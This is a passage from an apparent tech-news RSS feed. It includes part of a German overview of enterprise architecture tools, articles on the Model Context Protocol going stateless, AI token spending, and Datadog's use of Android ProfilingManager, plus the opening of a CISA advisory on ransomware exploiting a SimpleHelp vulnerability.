  • “Architektonischen Stress” bei Lastspitzen simulieren, falls grĂ¶ĂŸere VerĂ€nderungen bevorstehen;

  • Verstehen, wie verĂ€ndertes Nutzerverhalten neue Anforderungen generiert;

  • Application Portfolio Management, um besser strategisch zu planen.

Atoll Group SAMU

Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe VerknĂŒpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools fĂŒr das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfĂ€ltige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusĂ€tzlichen Input der Stakeholder weiter angereichert wird.

Wichtigste Use Cases:

  • Enterprise-Architektur visualisieren;

  • strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfĂŒttern;

  • mithilfe einer visuellen VerstĂ€ndnisgrundlage die Kommunikation verbessern.

Avolution Abacus

Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gĂ€ngigen Tools wie SharePoint, Excel, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergĂ€nzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen fĂŒr welches System verantwortlich ist.

Wichtigste Use Cases:

  • die IT fĂŒr das gesamte Unternehmen â€œĂ¶ffnen”, um ein allgemeines VerstĂ€ndnis der DatenflĂŒsse zu erzeugen;

  • umfassendes Enterprise Modeling, um eine Roadmap fĂŒr kĂŒnftige Entwicklungen zu erstellen;

  • Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhĂ€ngen.

BOC Group ADOIT

ADOIT soll Teams dabei unterstĂŒtzen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die DatenflĂŒsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. GeschĂ€ftsprozesse können auf Ă€hnliche Weise ĂŒber ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lĂ€sst sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.

Wichtigste Use Cases:

  • ein unternehmensweites Modell erstellen, das bei sĂ€mtlichen Teammitgliedern ein VerstĂ€ndnis ĂŒber den Stack schafft – und wie man diesen verbessern kann;

  • vollstĂ€ndiger Zugriff auf EA-Daten ĂŒber eine Mobile-Anwendung;

  • bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.

Bizzdesign Hopex

Nach der Übernahme von Mega International zĂ€hlt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstĂŒtzen, Unternehmensanwendungen zu modellieren und dabei ein VerstĂ€ndnis der von ihnen unterstĂŒtzten GeschĂ€fts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft Azure und stĂŒtzt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.

Wichtigste Use Cases:

  • datengestĂŒtzte Erkenntnisse herbeifĂŒhren, um Cloud- und Anwendungsbereitstellung zu steuern;

  • akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;

  • eine BedarfsschĂ€tzung mit Umfragen und anderen Tools vornehmen, um fĂŒr die Zukunft zu planen.

Bizzdesign Horizzon

Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sĂ€mtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind Change Management und Zukunftsplanung: Horizzon ist nicht zuletzt dafĂŒr konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstĂŒtzt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign im Januar 2025 auch den EA-GeschĂ€ftsbereich der Software AG – Alfabet – ĂŒbernommen.

Wichtigste Use Cases:

  • Vorhersage zukĂŒnftiger Anforderungen durch Predictive Modeling;

  • Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;

  • Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.

Capstera

Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess VerknĂŒpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefĂŒgt werden.

Wichtigste Use Cases:

  • Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschĂ€ftigen;

  • Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;

  • die langfristige strategische Planung vorantreiben.

Clausmark Bee360

Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (frĂŒher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” ĂŒber die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknĂŒpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz.

Wichtigste Use Cases:

  • C-Suite-Ebene befĂ€higen, Projekte zu managen und Assets zuzuweisen;

  • prĂ€zise digitale Zwillinge entwickeln, um ein VerstĂ€ndnis ĂŒber DatenflĂŒsse zu schaffen und kĂŒnftige Erweiterungen zu planen;

  • integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.

EAS

Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als Open-Source-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfĂŒgbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und GeschĂ€ftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gĂ€ngige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.

Wichtigste Use Cases:

  • den technischen Reifegrad der eigenen Architektur evaluieren;

  • Sicherheit und Governance durch besseres Asset Tracking optimieren;

  • wachsende SystemkomplexitĂ€t kontrollieren und managen.

OrbusInfinity

Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi abgeschlossen. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur VerfĂŒgung, die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und kĂŒnftige GeschĂ€ft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform integrieren, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow.

Wichtigste Use Cases:

  • Stakeholder-Management;

  • Enterprise-Landschaften visualisieren;

  • Entscheidungsfindung und Datenanalyse automatisieren.

Planview Enterprise One

Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-ĂŒbergreifende Layer, die rollenbasierte Perspektiven fĂŒr FĂŒhrungskrĂ€fte und Teammitglieder eröffnen. Das Toolset integriert mit gĂ€ngigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die frĂŒher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.

Wichtigste Use Cases:

  • eine langfristige, strategische Vision fĂŒr die Architekturentwicklung aufbauen;

  • Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;

  • mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.

QualiWare Enterprise Architecture

Das Enterprise Architecture Tool von QualiWare ist Teil einer grĂ¶ĂŸeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sĂ€mtliche GeschĂ€ftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.

Wichtigste Use Cases:

  • ein kollaboratives Ökosystem fĂŒr Business Manager aufbauen, das ein VerstĂ€ndnis von der Enterprise Architecture vermittelt;

  • architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;

  • eine breite Beteiligung in Sachen Dokumentationserstellung und -ĂŒberprĂŒfung fördern.

Quest Erwin Evolve

Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System fĂŒr Enterprise-Architecture- und GeschĂ€ftsprozess-Modellierung weiterentwickelt. Um die KomplexitĂ€t moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten GeschĂ€ftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurĂŒckgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugĂ€ngliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.

Wichtigste Use Cases:

  • einen digitalen Zwilling fĂŒr die strategische Modellierung der Enterprise Data Architecture erstellen;

  • Customer Journeys verstehen;

  • Services und Systeme mit Application Portfolio Management tracken.

SAP LeanIX Enterprise Architecture Suite

Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die fĂŒr Aufgaben wie SaaS– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei ĂŒber die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist fĂŒr Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 ist LeanIX Teil von SAP.

Wichtigste Use Cases:

  • Anwendungsmodernisierung und Cloud-Migration managen;

  • Obsoleszenz von Software-Services evaluieren;

  • Kosten kontrollieren und managen.

ServiceNow

Die Tool-Sammlung von ServiceNow lĂ€sst sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, DevOps, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und DatenflĂŒsse im Unternehmen abzubilden und zu verstehen. AusfĂŒhrliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.

Wichtigste Use Cases:

  • Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;

  • Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengefĂŒhrt;

  • durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.

Sparx Systems

Um Teams und Projekte verschiedener GrĂ¶ĂŸe und KomplexitĂ€t zu unterstĂŒtzen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein VerstĂ€ndnis darĂŒber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstĂŒtzen.

Wichtigste Use Cases:

  • Nachfrage- und LastverĂ€nderungen zur Prognose kĂŒnftiger Anforderungen simulieren;

  • (potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;

  • Dokumentation erstellen.

Unicom System Architect

System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich ĂŒber die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von DatenflĂŒssen. Dieses systemweite Datenmodell kann ĂŒber benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugĂ€nglich gemacht werden. Ein weiteres erwĂ€hnenswertes Feature: Die Ressourcenzuweisung lĂ€sst sich mit Hilfe von Simulationen optimieren.

Wichtigste Use Cases:

  • Was-wĂ€re-wenn-Fragen zum Architekturmodell stellen;

  • ein Metamodell von Daten und Systemen aufbauen;

  • Migrations- und TransformationsplĂ€ne erstellen.

ValueBlue BlueDolphin

Dieses EA-Tool sammelt Daten auf dreierlei Art:

  1. Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).

  2. Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.

  3. Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.

Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft ĂŒber die historische Entwicklung von Systemen gibt.

Wichtigste Use Cases:

  • systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;

  • zukunftsorientierte Reportings erzeugen, um den Change zu ĂŒberwachen und voranzutreiben;

  • Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.

(fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation CIO.com erschienen.

]]> <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Sat, 25 Jul 2026 18:55:48 +0200 📰 IT Security Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

]]> <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Sat, 25 Jul 2026 18:55:48 +0200 📰 IT Security Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]> https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ Sat, 25 Jul 2026 10:15:39 +0200 đŸ€– Android Tipps tsecurity.de

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog



Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

ProfilingManager is a highly performant solution for code-level insights. Of the solutions we evaluated, it has the lowest runtime overhead, gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog


For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.


We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog


To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:
  • Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
  • Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
  • Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
  • Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  • System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  • On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with 
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

]]> <![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]> https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ Sat, 25 Jul 2026 09:19:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.1 Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.1 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

